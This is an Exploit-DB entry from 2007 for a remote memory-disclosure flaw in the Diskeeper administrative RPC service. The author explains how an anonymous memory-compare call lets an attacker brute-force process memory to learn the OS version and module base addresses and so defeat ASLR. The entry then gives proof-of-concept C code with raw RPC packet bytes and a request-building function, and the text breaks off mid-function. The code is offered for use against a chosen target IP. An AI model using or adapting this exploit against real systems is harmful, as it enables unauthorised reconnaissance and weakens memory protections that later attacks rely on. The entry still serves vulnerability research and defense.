Exploit-DB #4292
Description: Diskeeper 9 - Remote Memory Disclosure
Type: remote
Platform: windows
Date: 2007-08-17
Author: Pravus

Exploit:
/*
Diskeeper Remote Memory Disclosure
Credit: Pravus (pravus -a-t- hush -d-o-t- com)
Greetz: Scientology for making a remotely accessible disk
defragmenter.  Felix, Jenna, and Isaac.

Vulnerability Description:
This vulnerability involves a memory comparison function that is
remotely, anonymously accessible via the remote procedure call in
the Diskeeper administrative interface.  Using this, an attacker
can guess / brute force memory at any address in the process;
although passing a bad pointer will cause a memory read exception
and DoS the process.  Since causing a Denial of Service for
Diskeeper is of minimal consequence, this write-up will focus on
the memory reading aspect.

By making use of shared user memory at 0x7FFE0000, an attacker can
learn information, such as Windows drive, path, and version.  More
importantly for a targeted attack, an attacker can also get the
name, path, version and base address of all loaded modules in the
process. This would essentially defeat address space randomization
(ASLR) in Windows Vista, since loaded modules tend to have the same
preferred address in all processes for each boot of the system.

Details:
Diskeeper introduced their administrative interface in Diskeeper 9
and continued it in Diskeeper 10 and Diskeeper 2007.  For the
purpose of this vulnerability I tested in Diskeeper 9 Professional
and Diskeeper 2007 Pro Premier.  (Though I believe from
documentation that the Server Editions of each and both versions in
Diskeeper 10 are equally vulnerable.)

The administrative interface, DkService.exe, runs as a system
service that is by default configured to automatically start.  It
listens on TCP port 31038 and has three RPC functions available.
Calling the opcode 0x01 RPC function (MIDL below) allows a remote,
anonymous memory comparison at an attacker provided address.
Simply pass the size of the data, the data, and the address to make
use of this.

MIDL
/* opcode: 0x01, address: 0x004922F0 (address from 2007
ProPremier)* /

long  sub_4922F0 (
 [in] long arg_1,
 [in][size_is(arg_1)] char * arg_2,
 [in] hyper arg_3
);


Exploitation:
In order to exploit this, one must bind to the RPC interface, then
initiate the RPC call as many times as desired.   If guessing an
intelligent value, such as a widecharacter string L"WINDOWS",
providing multiple bytes of data is optimal for speed's sake.  If
attempting to brute force an address, doing so one byte at a time
is preferable so you are guessing at most 4n times instead of n^4.

In my sample exploit, I am first getting general system information
by looking at fixed locations in shared user data.  I get the
Windows drive letter, the Windows directory, and the Windows OS
version (5.1=XP; 6.0=Vista; etc.)  Then I brute force an address in
NTDLL.DLL from the shared user data.  From this, I can jump
backwards to the start of the module, looking for the MZ header.
Knowing where the start of the module is, I can look for the .data
header to find where the data section of NTDLL.DLL is loaded.

This is where things get a little tricky.  Since the loaded module
hash table is at different places in the data section depending on
the version of NTDLL.DLL, we have to search for it.  Basically each
hash bucket that is empty contains a pointer to itself, so I made a
mask to place over memory that defined which buckets could be empty
vs. not, and defined that the last 6 had to be empty, because they
correspond to modules that don't start with an alphabetic character
in name.  (This part could be made more effective and faster, but
for a PoC, it should work.)  Once it finds memory that fits the
mask, I iterate the linked list at each of the 32 hash buckets and
read the relevant loaded module information.

I just used a #define for the IP address string, so modify it for
your target IP.

Exploit Code:

*/

//Diskeeper Remote Memory Read
//By: Pravus
#define WIN32_LEAN_AND_MEAN
#define PORT 31038
#define DELAY 50
#define _CRT_SECURE_NO_DEPRECATE
#define _USE_32BIT_TIME_T
#define servername "127.0.0.1"

#pragma comment (lib,"ws2_32")
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/timeb.h>
#include <time.h>

char rpcbind [] =
"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00"
"\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
"\xb7\xf9\x09\x28\xef\xcf\x64\x41\x8c\x46\xe8\xd4\x17\x52\x2c\x1c"
"\x03\x00\x03\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
"\x2b\x10\x48\x60\x02\x00\x00\x00";

char request [] =
"\x05\x00\x00\x03\x10\x00\x00\x00\x68\x00\x00\x00\x00\x00\x00\x00"
"\x50\x00\x00\x00\x00\x00\x01\x00";
//4 byte len
//4 byte len
//dword aligned string
//pointer
//ign dword


//This function is a simple remote comparison returning true if the memory
//at loc matches value for len bytes.  This is where the real "exploitation"
//comes into play.  We just send a mocked up RPC request using their provided
//remote mem compare function.
BOOL rmemcmp(SOCKET conn, int loc, char* value, int len)
{
               char buff [32768];
               int w,x=0;
               memset(buff, '\0', sizeof(buff));
               memcpy(buff, request, sizeof(request));
               x+=sizeof(request)-1;

               memcpy(buff+x, &len, sizeof(len));  //len
               x+=sizeof(len);
               memcpy(buff+x, &len, sizeof(len));  //len
               x+=sizeof(len);
               memcpy(buff+x, value, len); //string
               x+=len;
               x+=(8-(len%8))%8;  //null pad
               memcpy(buff+x, &loc, sizeof(loc));  //pointer
               x+=sizeof(loc);
               w=0;
               memcpy(buff+x, &w, sizeof(w));  //don't care
               x+=sizeof(w);

               w=x-0x18;
               memcpy(buff+8, &x, sizeof(x));
               memcpy(buff+0x10, &w, sizeof(w));